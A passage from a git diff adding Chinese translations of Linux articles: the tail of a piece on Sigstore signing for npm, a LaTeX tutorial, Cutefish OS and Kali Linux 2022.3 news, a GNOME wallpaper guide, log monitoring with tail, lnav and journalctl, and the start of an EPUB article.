软件包。代码签名类似于数字蜡封。为了让开源维护者更加容易地确认他们编写的代码是否与全球范围内人们实际下载的软件包中最终包含的代码相同,跨行业协作促成了该工具的创建。 + +GitHub 并不是开源生态系统的唯一组成部分,但 Sigstore 的联合开发者、Chainguard 的首席执行官 Dan Lorenc 指出,它是社区的一个重要枢纽,因为绝大多数项目都在这里存储和共享源代码。然而,当开发人员真正想下载开源软件或工具时,他们通常会通过软件包管理进行。 + +通过让包管理器可以使用 Sigstore,开发人员可以在 Sigstore 工具的帮助下,在软件通过供应链时处理加密检查和要求。这增加了产品流通过程中每个阶段的透明度。Lorenc 说,许多人在得知这些完整性检查尚未实施时感到震惊,开源生态系统中相当大的一部分长期以来一直依赖于盲目的信心。拜登政府于 2021 年 5 月发布了一项行政命令,主要涉及软件供应链安全问题。 + +Linux 基金会、谷歌、红帽、Purdue Universit 和 Chainguard 都对 Sigstore 的开发做出了贡献。现在有了使用 Sigstore 为 Python 包发行版签名的官方软件,而且开发软件的开源环境 Kubernetes 现在也支持它。 + +Sigstore 依靠免费和简单易用来鼓励采用,就像主要行业推动 HTTPS 网络加密一样,这在很大程度上是由非营利组织互联网安全研究组Internet Security Research Group的 Let's Encrypt 等工具实现的。据 GitHub 称,该项目会首先提出 Sigstore 将如何在 npm 中实现的建议,并在开放评论期征求社区人员对该工具的精确部署策略的意见。然而,最终的目标是让这样的代码签名能够被尽可能多的开源项目使用,从而让对供应链的攻击更加困难。 + +GitHub 的 Hutchings 说:“我们希望看到这样一个世界,最终所有的软件工件都被签名并链接回源代码,这就是为什么构建像 Sigstore 这样的开放技术栈是如此重要,其他打包存储库也可以采用这种技术。” + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/08/github-takes-action-to-prevent-supply-chain-attacks-on-open-source/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[lzx916](https://github.com/lzx916) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed diff --git a/published/202208/20220810 Create beautiful PDFs in LaTeX.md b/published/202208/20220810 Create beautiful PDFs in LaTeX.md new file mode 100644 index 0000000000..27b69298e8 --- /dev/null +++ b/published/202208/20220810 Create beautiful PDFs in LaTeX.md @@ -0,0 +1,233 @@ +[#]: subject: "Create beautiful PDFs in LaTeX" +[#]: via: "https://opensource.com/article/22/8/pdf-latex" +[#]: author: "Jim Hall https://opensource.com/users/jim-hall" +[#]: collector: "lkxed" +[#]: translator: "Donkey-Hao" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14957-1.html" + + +使用 LaTeX 创建优美的 PDF 文件 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/23/120339s9ek65lo8cce5jj4.jpg) + +> 使用 LaTeX 标记语言来撰写文档。 + +LaTeX 文件准备系统有一段有趣的历史。在 1968 年,程序员 Don Knuth 用一种老式印刷排版方式,撰写了他的第一本书《计算机程序设计艺术The Art of Computer Programming》。当他在 1976 年出版第二版时,出版商已经转向现代照相排版技术。 + +Knuth 对新版本的外观不满意。他从程序员的角度解决问题,决定创建他自己的文字处理系统,这样以后他出版的书就可以以相同格式排版,拥有相同的外观。因此,Don Knuth 在 1978 年编写了第一版 TeX 。 + +几年后,Leslie Lamport 创建了一组宏定义,以便作者更容易编写复杂文档。Lamport 的宏定义扩展,即 LaTeX,有效地扩展了 TeX 能够轻松创建各种文档。例如,许多学术组织使用 LaTeX 出版期刊和论文集。 + +### 使用 LaTeX 编写文档 + +通过写一些短文就可以很容易掌握 LaTeX 基础。让我们从 [Opensource.com][4] 介绍页面借用一下内容,创建一个示例: + +``` +$ cat about.tex +\documentclass{article} +\begin{document} + +Opensource.com is a premier, daily publication focused on +open source and Linux tutorials, stories, and resources. + +We're a diverse and inviting group, made up of staff +editors, Correspondents, contributors, and readers. We +value differences in skills, talents, backgrounds, and +experiences. There are a few different ways to get involved +as a reader or a writer. + +\end{document} +``` + +类似其他文档格式程序, LaTeX 会将单词汇集起来,填充成段落 。这意味着你可以在段落中间添加新文本,而不用担心最终文档的段落参差不齐。只要你不在段落中添加空行, LaTeX 就会创建完全对齐的段落。当它找到一个空行时, LaTeX 会开启一个新段落。 + +LaTeX 需要一些定义文档的控制语句。任何 LaTeX 文档应当以“文档类别”声明开始。LaTeX 支持多种文档,包括书信、书籍和文章。例如,我使用 `\documentclass{article}` 设置类别为 “文章” 。 + +使用 `\begin{document}` 和 `\end{document}` 声明来定义文本的开始和结束。如果你在 `\begin{document}` 前添加了文本,那么 LaTeX 会报错。在 `\end{document}` 之后的文本都会被忽略。 + +使用 LaTeX 的 `latex` 命令处理文档: + +``` +$ latex about.tex +This is pdfTeX, Version 3.141592653-2.6-1.40.22 (TeX Live 2021) (preloaded format=latex) + restricted \write18 enabled. +entering extended mode +(./about.tex +LaTeX2e <2020-10-01> patch level 4 +(/usr/share/texlive/texmf-dist/tex/latex/base/article.cls +Document Class: article 2020/04/10 v1.4m Standard LaTeX document class +(/usr/share/texlive/texmf-dist/tex/latex/base/size10.clo)) +(/usr/share/texlive/texmf-dist/tex/latex/l3backend/l3backend-dvips.def) +No file about.aux. +[1] (./about.aux) ) +Output written on about.dvi (1 page, 736 bytes). +Transcript written on about.log. +``` + +LaTeX 会输出许多文本,这样你就可以知道它在干什么。若你的文档包含错误, LaTeX 会报错并提示它可以做什么。大多数情况下,你可以在提示后输入 `exit` 来强制退出 LaTeX 。 + +如果用 LaTeX 成功生成一个文档,会生成一个带 `.dvi` 后缀的文件。`DVI` 表示 “设备无关Device Independent”,因为你可以使用不同的工具来生成其他格式。例如, `dvipdf` 程序可以将 DVI 文件转换为 PDF 文件。 + +``` +$ dvipdf about.dvi +``` + +![LaTeX output][5] + +### 添加列表 + +LaTeX 支持两种列表:一种以数字开头的 “枚举” 列表,一种 “逐项” 或 “项目符号” 列表。在第二段后添加一个简短的枚举列表,列出人们可以参与 Opensource.com 的方式: + +``` +\begin{enumerate} +\item Be a writer +\item Be a reader +\end{enumerate} +``` + +与在文档定义中添加 `\begin` 和 `\end` 声明类似,你也需要在列表前后添加 `\begin` 和 `\end` 声明。在列表中,每个项目以 `\item` 命令开始。当你用 LaTeX 处理该文档并转换为 PDF 格式后,你会看到该列表为数字列表: + +![LaTeX output][6] + +你也可以在列表中嵌套列表。这是一个优雅的功能,如果你需要在列表中为每个条目添加选项。例如,你可以为想要在 Opensource.com 中成为作者的人们提供一些不同的资源。嵌入列表使用单独的 `\begin` 和 `\end` 声明。为了看起来方便,我在示例中添加了空行,但是 LaTeX 会忽略这些空行: + +``` +\begin{enumerate} +\item Be a writer + +  \begin{itemize} +  \item Resources for writers +  \item Contributor Club +  \item Correspondent Program +  \end{itemize} + +\item Be a reader +\end{enumerate} +``` + +作为嵌套列表,新列表嵌入在编号 1 的项目中,因为你在原先的 `\item` 声明之间添加了列表。你可以通过在 `\end{enumerate}` 语句前添加新列表,作为编号 2 项目的嵌套列表。 + +![LaTeX output][7] + +### 章节和小节 + +你可以将冗长文章分成多个章节,这样更易于阅读。使用 `\section{...}` 语句在大括号内添加章节标题。例如,你可以在文档顶部添加一个标题为 “About Opensource.com” 的新章节: + +``` +$ head about.tex +\documentclass{article} +\begin{document} + +\section{About Opensource.com} + +Opensource.com is a premier, daily publication focused on +open source and Linux tutorials, stories, and resources. + +We're a diverse and inviting group, made up of staff +editors, Correspondents, contributors, and readers. We +``` + +`article` 文档类会在每个主要章节添加编号,并使字体变大来突出显示。 + +![LaTeX output][8] + +你可以使用 `\subsection{...}` 命令来组织文档。就像 `\section{...}` 命令一样,在大括号中输入副标题名称。 + +``` +$ head about.tex +\documentclass{article} +\begin{document} + +\section{About Opensource.com} + +Opensource.com is a premier, daily publication focused on +open source and Linux tutorials, stories, and resources. + +\subsection{Welcome to the Opensource.com community} +``` + +![LaTeX output][9] + +### 标题和作者 + +用于出版的科学类的文章需要标题、作者以及发表日期。LaTeX 提供了通过插入命令的方式来添加这些信息,然后使用单独的 `\maketitle` 命令生成文章的标题。 + +将 “About Us” 作为文章标题,作者为 “Opensource.com Editors”,发表日期为 “July 10, 2022” 。你必须在 `\begin{document}` 之后,文章内容前插入这些内容。 + +``` +\title{About Us} +\author{Opensource.com Editors} +\date{July 10, 2022} +\maketitle +``` + +当你在生成文档时,LaTeX 会将标题、作者和日期添加到文章的顶部: + +![LaTeX output][10] + +### 着重强调 + +科学和其他技术类文章通常会突出术语和短语。 LaTeX 提供了几种可以在技术文档中使用的字体效果,包括强调文本(通常以斜体显示)、粗体文本和小型大写字母small caps。 + +将短语“staff editors, Correspondents, contributors, and readers”放在斜体文本中,并将特定词“reader”和“writer”放在段落后面的强调文本中。你也可以将“skills, talents, backgrounds, and experiences”加粗。虽然这不是正确的样式设置方式,但你可以使用小型大写字母来键入 “Linux” 。 + +``` +$ head -20 about.tex +\documentclass{article} +\begin{document} + +\title{About Us} +\author{Opensource.com Editors} +\date{July 10, 2022} +\maketitle + +\section{About Opensource.com} + +Opensource.com is a premier, daily publication focused on +open source and \textsc{Linux} tutorials, stories, and resources. + +\subsection{Welcome to the Opensource.com community} + +We're a diverse and inviting group, made up of \textit{staff +editors, Correspondents, contributors, and readers}. We +value differences in \textbf{skills, talents, backgrounds, and +experiences}. There are a few different ways to get involved +as a \emph{reader} or a \emph{writer}. +``` + +该示例展示了不同样式的文本的应用方法。当你需要强调时,使用 `\emph{...}` 命令,将强调主题放在大括号内。要以斜体、粗体或小型大写字母显示文本,使用 `\text` 命令的变体:`\textit{...}` 用于斜体,`\textbf{...}` 用于粗体,以及 `\ textsc{...}` 用于小型大写字母。LaTeX 支持许多其他方式来设置文本样式,这些样式有助于你编写科学技术类文章。 + +![LaTeX output][11] + +### 使用 LaTeX + +我只是介绍了使用 LaTeX 撰写科学技术文章的几种方式。你也可以在 LaTeX 中添加脚注,进行数学公式和方程的排版,取决于你的需求。你也可以通过阅读 Opensource.com 中的文章 [《在 LaTeX 中创建文档的介绍》][12] ,了解使用 LaTeX 撰写科学技术文章的其他方式。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/8/pdf-latex + +作者:[Jim Hall][a] +选题:[lkxed][b] +译者:[Donkey](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/coffee_tea_laptop_computer_work_desk.png +[2]: https://unsplash.com/@jonasleupe?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[3]: https://unsplash.com/s/photos/tea-cup-computer?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[4]: https://opensource.com/about +[5]: https://opensource.com/sites/default/files/2022-08/latex-output.jpg +[6]: https://opensource.com/sites/default/files/2022-08/latex-output-list.jpg +[7]: https://opensource.com/sites/default/files/2022-08/latex-output-list-2.jpg +[8]: https://opensource.com/sites/default/files/2022-08/latex-output-heading.jpg +[9]: https://opensource.com/sites/default/files/2022-08/latex-output-subheading.jpg +[10]: https://opensource.com/sites/default/files/2022-08/latex-output-about.jpg +[11]: https://opensource.com/sites/default/files/2022-08/latex-output-emphasis.jpg +[12]: https://opensource.com/article/17/6/introduction-latex diff --git a/published/202208/20220810 Cutefish OS Development Restarts with A Revised Vision.md b/published/202208/20220810 Cutefish OS Development Restarts with A Revised Vision.md new file mode 100644 index 0000000000..6705682fad --- /dev/null +++ b/published/202208/20220810 Cutefish OS Development Restarts with A Revised Vision.md @@ -0,0 +1,79 @@ +[#]: subject: "Cutefish OS Development Restarts with A Revised Vision" +[#]: via: "https://www.debugpoint.com/cutefish-development-restarts/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14924-1.html" + +Cutefish OS 开发重启 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/13/123818nek1wzveuzx1iuv6.jpg) + +经过了一个月,可能是在讨论、会谈和对话之后,Cutefish OS 正式重启了开发。 + +不久前,我们报道了 [Cutefish OS 停止开发][1],而且 GitHub 上没有任何活动。好吧,看起来开发者在 GitHub 上复活了这个项目,并对该操作系统的未来有了一些设想。 + +7 月 31 日,Cutefish OS 的 GitHub 主仓库进行了更新,内容如下: + +> 你喜欢的 CutefishOS 现在回来了!新网站正在建设中(即将推出) + +不仅如此,该团队还简要介绍了这个项目的路线图。 + +![Cutefish OS - 应用程序菜单][2] + +### Cutefish OS 的开发:即将到来的里程碑 + +首先,主要目标是官方网站的准备工作。 + +其次,根据 GitHub 上的说明,下一个版本可能会基于 [Ubuntu 22.04 LTS][3]。Cutefish OS 有不同的桌面定制版,如 Ubuntu 和 Debian。另外,你可以在 [Arch Linux 上只安装Cutefish 桌面][4]。 + +第三,该团队旨在评估当前的问题并开始接受拉取请求。完成这项工作后,将更容易确定需要修复的项目的优先次序。最后,为未来版本的新功能进行规划。 + +不仅如此,还有一种可能性,即用 openEuler Linux 开发新的 Cutefish 桌面定制版。[openEuler Linux][5] 是华为为商业和企业用途而创建的一个发行版。 + +![当前 Cutefish 操作系统计划][6] + +(LCTT 译注:但是从 GitHub 仓库来看,最近并没有任何实质动作。) + +### 一个新的名字? + +当我在寻找更多的信息时,我发现该团队注册了一个新的域名,有一个新的名字,即 [openfish.org][7](LCTT 译注:因无备案,展示无法访问)。桌面环境或整个操作系统将被重新命名为 openfish。在这一点上,我有一个猜测: + +旧的域名 cutefishos.com 可能被别人接管了,因此这样决定。 + +但是,在我看来,“openfish” 是一个比 “cutefish” 更好的品牌名称。 + +(LCTT 译注:究竟是原班人马中的部分人决定重启,还是整个团队复活,目前不得而知,从改名上看,似乎新的团队并没有 cutefish 相关的品牌控制权。) + +### 下一步是什么 + +最新的 0.8 版有几个与键盘、设置窗口、Flatpak 应用程序等有关的问题。最好的办法是在最后的基线上首先解决这些问题。然后可能是带有额外功能的 1.0 版本。 + +希望在未来几周内,我们能看到更多关于开发的更新。如果你想发表意见,询问有关期望或功能要求,[在 GitHub 上创建一个帖子][8]。 + +欢迎回来,Cutefish OS。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/cutefish-development-restarts/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/cutefish-os-development-halts/ +[2]: https://www.debugpoint.com/wp-content/uploads/2021/11/Cutefish-OS-Application-Menu-1024x582.jpg +[3]: https://www.debugpoint.com/web-stories/ubuntu-22-04-review/ +[4]: https://www.debugpoint.com/cutefish-arch-linux-install/ +[5]: https://www.openeuler.org/en/ +[6]: https://www.debugpoint.com/wp-content/uploads/2022/08/Current-Cutefish-OS-Plan.jpg +[7]: http://openfish.org/ +[8]: https://github.com/cutefishos/cutefishos/issues diff --git a/published/202208/20220810 Kali Linux 2022.3 Introduces a Test Lab Environment and New VirtualBox Image.md b/published/202208/20220810 Kali Linux 2022.3 Introduces a Test Lab Environment and New VirtualBox Image.md new file mode 100644 index 0000000000..9f6ac7ef1f --- /dev/null +++ b/published/202208/20220810 Kali Linux 2022.3 Introduces a Test Lab Environment and New VirtualBox Image.md @@ -0,0 +1,96 @@ +[#]: subject: "Kali Linux 2022.3 Introduces a Test Lab Environment and New VirtualBox Image" +[#]: via: "https://news.itsfoss.com/kali-linux-2022-3-release/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14933-1.html" + +Kali Linux 2022.3 发布 +====== + +> Kali Linux 2022.3 在引入了新的 VirtualBox 镜像格式的同时,也使测试变得更加方便。不要忘了试试新的工具! + +![](https://news.itsfoss.com/wp-content/uploads/2022/08/kali-2022-3.jpg) + +Kali Linux 在 2022 年的第三次升级中带着激动人心的新内容回来了。 + +像往常一样,你可以期待新的工具和全面的改进。此外,还有一些关键的亮点,包括新的 **测试实验室环境** 和 **VirtualBox 镜像**。 + +在这里,让我给你介绍一下这个版本的细节。 + +### Kali Linux 2022.3 有什么新内容? + +Kali Linux 2022.3 的发布标志着他们开始启用了 **新的 Discord 服务器**,使社区能够聚集在一起,谈论关于 Kali Linux 的事情。 + +除了社区有了 Discord 服务器之外,应该引起你对升级的关注的事情包括: + + * 一个便于测试的新测试实验室环境 + * 开放 kali-tools 资源库,以供社区提交 + * NetHunter 商店中的新软件 + * 一个新的 VirtualBox 镜像格式 + * 大量的新工具 + +### 测试实验室环境 + +Kali Linux 是为安全研究人员量身定做的,可以用于测试和学习。但是,为了增强体验,使任何人都能毫不费力地建立一个测试实验室,Kali Linux 现在增加了易于安装的软件包,如 [DVWA][1] 和 [Juice Shop][2]。 + +开发者还提到,在不久的将来会有更多的软件包。 + +### 新工具 + +新的升级包括了五个有趣的工具,它们是: + + * BruteShark(网络分析工具) + * DefectDojo(开源的应用程序漏洞工具) + * phpsploit(隐蔽的破解后应用框架) + * shellfire(利用命令注入漏洞) + * SprayingToolkit(密码攻击) + +你可以探索这些工具以了解更多信息。 + +### 增强的 VirtualBox 支持 + +虽然 Kali Linux 已经可以用于 VMware 和 VirtualBox,但现在为 VirtualBox 用户提供了一种新的镜像格式。 + +你现在可以下载用于 VirtualBox 的 VDI 磁盘镜像和 .vbox 元数据文件。它是原生的 VirtualBox 镜像格式,具有更好的压缩率,下载速度更快。 + +对于希望使用最新和最先进工具的用户,Kali Linux 提供了按周构建的虚拟机镜像,构建自其滚动分支。 + +此外,如果你需要构建你的自定义虚拟机镜像,Kali Linux 已经在 [GitLab][3] 上提供了一些脚本。 + +### 其他改进 + +Kali Linux 2022.3 增加了几个重要的升级。其中包括: + + * 针对树莓派设备的 Linux 内核 5.15 更新。 + * 针对 ARM 设备的技术改进。 + * 文档更新,有一些新页面。 + * 网络存储库的维护工作。 + * NetHunter 商店的大量更新,以及对即将到来的 Android 12 支持。 + +### 下载 Kali Linux 2022.3 + +你可以在其 [官方下载页面][4] 找到最新的 Kali Linux 2022.3 ISO,以及新的 VirtualBox 镜像文件和每周更新包。 + +> **[Kali Linux 2022.3][5]** + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/kali-linux-2022-3-release/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://www.kali.org/tools/dvwa/ +[2]: https://www.kali.org/tools/juice-shop/ +[3]: https://gitlab.com/kalilinux/build-scripts/kali-vm +[4]: https://www.kali.org/get-kali/ +[5]: https://www.kali.org/get-kali/#kali-platforms diff --git a/published/202208/20220814 Create Your Own Custom Light and Dark Wallpaper for GNOME.md b/published/202208/20220814 Create Your Own Custom Light and Dark Wallpaper for GNOME.md new file mode 100644 index 0000000000..e160975c38 --- /dev/null +++ b/published/202208/20220814 Create Your Own Custom Light and Dark Wallpaper for GNOME.md @@ -0,0 +1,111 @@ +[#]: subject: "Create Your Own Custom Light and Dark Wallpaper for GNOME" +[#]: via: "https://www.debugpoint.com/custom-light-dark-wallpaper-gnome/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14960-1.html" + +在 GNOME 中创建你自定义的浅色和深色壁纸 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/24/104023a3do33wdizyb3zw4.jpg) + +> 在 GNOME 桌面中创建自定义浅色和深色壁纸的简单指南。 + +[GNOME 42][1] 将期待已久的浅色和深色主题引入了 GNOME 桌面。它还带来了浅色和深色版壁纸,当你在浅色和深色主题之间切换时,它会自动改变。 + +因此,默认情况下,GNOME 会为你提供几组预配置的浅色和深色壁纸。 + +但是,如果你想要在主题更改时可以自动更改的别的壁纸怎么办? + +以下是在 GNOME 中为浅色和深色主题配置和创建自定义壁纸的方法。 + +### 如何为 GNOME 创建自定义浅色和深色壁纸 + +首先,确保有两个版本的壁纸。通常,它们应该是标准的 PNG 或 JPG 图像。例如,我们在演示中使用了以下两个壁纸。 + +![Sample light and dark wallpaper for demo][2] + +但是,如果你没有合适的浅色和深色壁纸,或正在寻找更多壁纸,在本指南的末尾,我会告诉你如何获取它们或准备你自己的。 + +跟着我来。 + +其次,我们需要为自己创建一个模式文件。壁纸的自动更换由名为 `adwaita.xml` 的 XML 文件处理,该文件定义了特定的浅色和深色背景标签。因此,我们将为壁纸创建 XML 文件。 + +为此,从 GitLab 复制 `adwaita.xml` 的内容并创建一个新的 XML 文件(链接在下面)。你应该在这个文件中看到两个标签:`filename` 和 `filename-dark`。这两个 XML 标记包含两个壁纸的完全限定路径。在这两个标签下添加图片的路径,如下所示。 + +> **[从这里下载 XML 文件 (adwaita.xml.in)][3]** + +![Change the XML file][4] + +第三步,使用你想要的任何名称将此文件保存到 `/home/YOUR_NAME/.local/share/gnome-background-properties`(请将 `YOUR_NAME` 替换为你的用户名)。如果 `gnome-background-properties` 不存在,请创建它们。对此示例,我使用了 `my_cool_backgrounds.xml`。 + +![Save the file][5] + +都准备好了。最后,打开设置并转到外观选项卡,你应该会看到选项中出现新的壁纸。 + +选择你的自定义浅色和深色壁纸并享受。 + +![The appearance tab now has your custom light and dark wallpaper][6] + +### 如何下载或制作你的动态壁纸 + +你一定会想,“谁有时间去寻找和创建深浅版本的壁纸”?一些网站为你提供现成的动态壁纸,你可以轻松下载和安装。 + +我推荐的一个网站是 [dynamicwallpaper.club][7],它为 macOS 提供了一些高达 6K 的优秀高质量壁纸。你可以轻松下载它们。 + +此外,如果你打算从上述网站下载,请记住该网站的图像是 [heic 格式][8],因为该网站适用于 macOS。高效视频编码(HEIC)是 Apple 的 HEIF(高效图像文件格式)的专有版本。 + +你需要一个驱动来查看和转换 Ubuntu 或 Fedora Linux 中的动态 heic 图像。那么,如何将它们转换为适用于 Linux 系统呢?打开终端并运行以下命令来安装驱动。 + +Ubuntu 用户: + +``` +sudo apt install heif-gdk-pixbuf +``` + +Fedora 用户: + +``` +sudo dnf install libheif +``` + +仅适用于带有 KDE Plasma 的 Fedora/Ubuntu(没有此插件,Plasma 应用无法打开 heic 图像): + +``` +sudo apt install qt-heif-image-plugin +sudo dnf install qt-heif-image-plugin +``` + +最后,使用你喜欢的图像查看器打开 heic 图像并将其保存为 JPG/PNG。 + +![Custom Light and Dark wallpaper in GNOME – transition][9] + +最后,别忘了在下面的评论部分告诉我你是否可以为 GNOME 创建自定义深色和浅色壁纸。 + +干杯。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/custom-light-dark-wallpaper-gnome/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/2022/03/gnome-42-release/ +[2]: https://www.debugpoint.com/wp-content/uploads/2022/04/Sample-light-and-dark-wallpaper-for-demo.jpg +[3]: https://gitlab.gnome.org/GNOME/gnome-backgrounds/-/tree/main/backgrounds +[4]: https://www.debugpoint.com/?attachment_id=9376 +[5]: https://www.debugpoint.com/?attachment_id=9375 +[6]: https://www.debugpoint.com/?attachment_id=9374 +[7]: https://dynamicwallpaper.club +[8]: https://en.wikipedia.org/wiki/High_Efficiency_Image_File_Format +[9]: https://www.debugpoint.com/wp-content/uploads/2022/04/Custom-Light-and-Dark-wallpaper-in-GNOME-transition.gif diff --git a/published/202208/20220814 How to Monitor Log Files in Real Time in Linux [Desktop and Server].md b/published/202208/20220814 How to Monitor Log Files in Real Time in Linux [Desktop and Server].md new file mode 100644 index 0000000000..ce744fb4e2 --- /dev/null +++ b/published/202208/20220814 How to Monitor Log Files in Real Time in Linux [Desktop and Server].md @@ -0,0 +1,135 @@ +[#]: subject: "How to Monitor Log Files in Real Time in Linux [Desktop and Server]" +[#]: via: "https://www.debugpoint.com/monitor-log-files-real-time/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14947-1.html" + +如何在 Linux 中实时监控日志文件 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/19/194609f1njqu096uhy919i.jpg) + +> 本教程介绍了如何实时监控 Linux 日志文件(桌面、服务器或应用)以进行诊断和故障排除。 + +当你在 Linux 桌面、服务器或任何应用中遇到问题时,你首先会查看单独的日志文件。日志文件通常是文本流和来自应用的带有时间戳的消息。它可以帮助你缩小特定问题的范围,并使你能够找到问题的原因。它还可以帮助从网络获得帮助。 + +一般来说,所有的日志文件都位于 `/var/log`。此目录包含特定应用和服务的扩展名为 `.log` 的日志文件,它还包含了其他含有日志的独立目录。 + +![log files in var-log][1] + +所以,如果你想监控一堆日志文件或特定的一个,这里有一些方法可以做到。 + +### Linux 实时监控日志文件 + +#### 使用 tail 命令 + +`tail` 命令是实时跟踪日志文件的最基本方式。特别是如果你在只有终端而没有 GUI 的服务器中。这很有帮助。 + +基本语法如下: + +``` +tail /path/to/log/file +``` + +用法: + +![Monitoring multiple log files via tail][2] + +可以使用开关 `-f` 跟踪实时更新的日志文件。例如,如果要关注 syslog,可以使用以下命令。 + +``` +tail -f /var/log/syslog +``` + +你可以使用单个命令监控多个日志文件: + +``` +tail -f /var/log/syslog /var/log/dmesg +``` + +如果要监视 HTTP 或 sftp 或任何服务器,可以在此命令中使用它们各自的日志文件。 + +请记住,上述命令需要管理员权限。 + +#### 使用 lnav(日志文件浏览器) + +![lnav Running][3] + +`lnav` 是一个出色的程序,你可以用它来用彩色编码的信息以更有条理的方式监控日志文件。在 Linux 系统中,这个工具不是默认安装的。你可以用下面的命令来安装它: + +Ubuntu: + +``` +sudo apt install lnav +``` + +Fedora: + +``` +sudo dnf install lnav +``` + +lnav 的好处在于,如果你不想安装它,你可以下载其预编译的可执行文件并在任何地方运行它,甚至可以从 U 盘上运行。无需设置,并加载了功能。使用 lnav,你可以通过 SQL 查询日志文件,以及其他很酷的功能,你可以在其[官方网站][4]上学习。 + +安装后,你可以在具有管理员权限的终端上运行 `lnav`,它会默认显示 `/var/log` 中的所有日志并开始实时监控。 + +#### 关于 systemd 的 journalctl 的一个说明 + +当今所有现代 Linux 发行版都主要使用 systemd。 systemd 提供了运行 Linux 操作系统的基本框架和组件。 systemd 通过 `journalctl` 提供日志服务,这有助于管理来自所有 systemd 服务的日志。你还可以使用以下命令实时监控各个 systemd 服务和日志。 + +``` +journalctl -f +``` + +以下是一些特定的 `journalctl` 命令,可用于多种情况。你可以将这些与上面的 `-f` 选项结合使用以开始实时监控。 + +对于紧急系统消息,请使用: + +``` +journalctl -p 0 +``` + +显示带有解释的错误: + +``` +journalctl -xb -p 3 +``` + +使用时间控制过滤: + +``` +journalctl --since "2022-12-04 06:00:00" +journalctl --since "2022-12-03" --until "2022-12-05 03:00:00" +journalctl --since yesterday +journalctl --since 09:00 --until "1 hour ago" +``` + +如果你想了解更多关于 journalctl 的详细信息,我已经在这写了份 [指南][5]。 + +### 结束语 + +我希望这些命令和技巧可以帮助你找到桌面或服务器中问题/错误的根本原因。有关更多详细信息,你可以随时参考手册页并使用各种选项。如果你对本文有任何意见或想法,请使用下面的评论栏告诉我。 + +干杯。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/monitor-log-files-real-time/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2021/08/log-files-in-var-log-1024x312.jpeg +[2]: https://www.debugpoint.com/wp-content/uploads/2021/08/Monitoring-multiple-log-files-via-tail.jpeg +[3]: https://www.debugpoint.com/wp-content/uploads/2021/08/lnav-Running.jpeg +[4]: https://lnav.org/features +[5]: https://www.debugpoint.com/2020/12/systemd-journalctl/ diff --git a/published/202208/20220816 A look inside an EPUB file.md b/published/202208/20220816 A look inside an EPUB file.md new file mode 100644 index 0000000000..d4fd9eae3e --- /dev/null +++ b/published/202208/20220816 A look inside an EPUB file.md @@ -0,0 +1,123 @@ +[#]: subject: "A look inside an EPUB file" +[#]: via: "https://opensource.com/article/22/8/epub-file" +[#]: author: "Jim Hall https://opensource.com/users/jim-hall" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14967-1.html" + +深入了解 EPUB 文件 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/25/223832eo3gq2o32uz0u0ll.jpg) + +> 